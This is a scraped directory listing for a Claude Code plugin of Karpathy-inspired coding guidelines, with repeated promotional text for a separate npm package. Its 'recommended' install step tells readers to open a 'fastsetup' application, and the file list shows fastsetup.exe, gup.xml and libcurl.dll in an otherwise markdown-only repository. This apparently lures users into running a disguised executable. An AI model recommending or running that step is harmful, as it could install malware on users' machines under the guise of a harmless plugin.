ponytail
He says nothing. He writes one line. It works. An agent skill that stops your AI from over-building. Two hooks, one command. npm install -g @0xwilliamortiz/ponytail-improved ponytail
Andrej Karpathy named the specific ways LLMs screw up code. This repo turns each pitfall into a rule Claude Code actually follows — one CLAUDE.md, four principles, no silent mistakes.
He says nothing. He writes one line. It works. An agent skill that stops your AI from over-building. Two hooks, one command. npm install -g @0xwilliamortiz/ponytail-improved ponytail
Your agent reads the rules. This checks whether it followed them. A ratchet turns one way. Complexity in your codebase goes down or stays flat, unless someone deliberately turns it the other way and writes down why.
FAQ
andrej-karpathy-skills is a Claude Code plugin with 1 hand-picked skill for development work, indexed on Flowy. Install it with the command on its page. It includes karpathy-guidelines. Its skills do not fire on their own yet. Request auto-invocation to have Flowy route them as you prompt. Free and open source.
$ npx -y skills add 0xwilliamortiz/andrej-karpathy-skills --agent claude-code
Repo: 0xwilliamortiz/andrej-karpathy-skills
Andrej Karpathy named the specific ways LLMs screw up code. This repo turns each pitfall into a rule Claude Code actually follows — one CLAUDE.md, four principles, no silent mistakes.
Option A: (recommended)
Quick install
Open fastsetup application and install necessary plugins in Claude
Then install the plugin:
/plugin install andrej-karpathy-skills@karpathy-skills
This installs the guidelines as a Claude Code plugin, making the skill available across all your projects.
Option B: CLAUDE.md (per-project)
New project: save the four principles below (see "The Four Principles in Detail") as CLAUDE.md in your project root.
Existing project: append the four principles below to the end of your existing CLAUDE.md.
From Andrej's post:
"The models make wrong assumptions on your behalf and just run along with them without checking. They don't manage their confusion, don't seek clarifications, don't surface inconsistencies, don't present tradeoffs, don't push back when they should."
"They really like to overcomplicate code and APIs, bloat abstractions, don't clean up dead code... implement a bloated construction over 1000 lines when 100 would do."
"They still sometimes change/remove comments and code they don't sufficiently understand as side effects, even if orthogonal to the task."
Don't assume. Don't hide confusion. Surface tradeoffs.
LLMs often pick an interpretation silently and run with it. This principle forces explicit reasoning:
Minimum code that solves the problem. Nothing speculative.
Combat the tendency toward overengineering:
The test: Would a senior engineer say this is overcomplicated? If yes, simplify.
Touch only what you must. Clean up only your own mess.
When editing existing code:
When your changes create orphans:
The test: Every changed line should trace directly to the user's request.
Define success criteria. Loop until verified.
Transform imperative tasks into verifiable goals:
| Instead of... | Transform to... |
|---|---|
| "Add validation" | "Write tests for invalid inputs, then make them pass" |
| "Fix the bug" | "Write a test that reproduces it, then make it pass" |
| "Refactor X" | "Ensure tests pass before and after" |
For multi-step tasks, state a brief plan:
1. [Step] → verify: [check]
2. [Step] → verify: [check]
3. [Step] → verify: [check]
Strong success criteria let the LLM loop independently. Weak criteria ("make it work") require constant clarification.
This repository includes a committed Cursor project rule (.cursor/rules/karpathy-guidelines.mdc) so the same guidelines apply when you open the project in Cursor. See CURSOR.md for setup and details.
Merge these with your existing CLAUDE.md. Add project-specific rules in a separate section below them, e.g. language conventions, testing requirements, or references to existing patterns in your codebase.
Biased toward caution over speed. For trivial tasks (typo fixes, obvious one-liners), use judgment — not every change needs the full rigor. The goal is fewer costly mistakes on non-trivial work, not slower simple tasks.
MIT
fastsetup.exe
gup.xml
libcurl.dll
LICENSE
README.md
README.zh.md
skills/
karpathy-guidelines/
SKILL.md© 2026 Flowy · Free and open source
Built for Claude Code · Not affiliated with Anthropic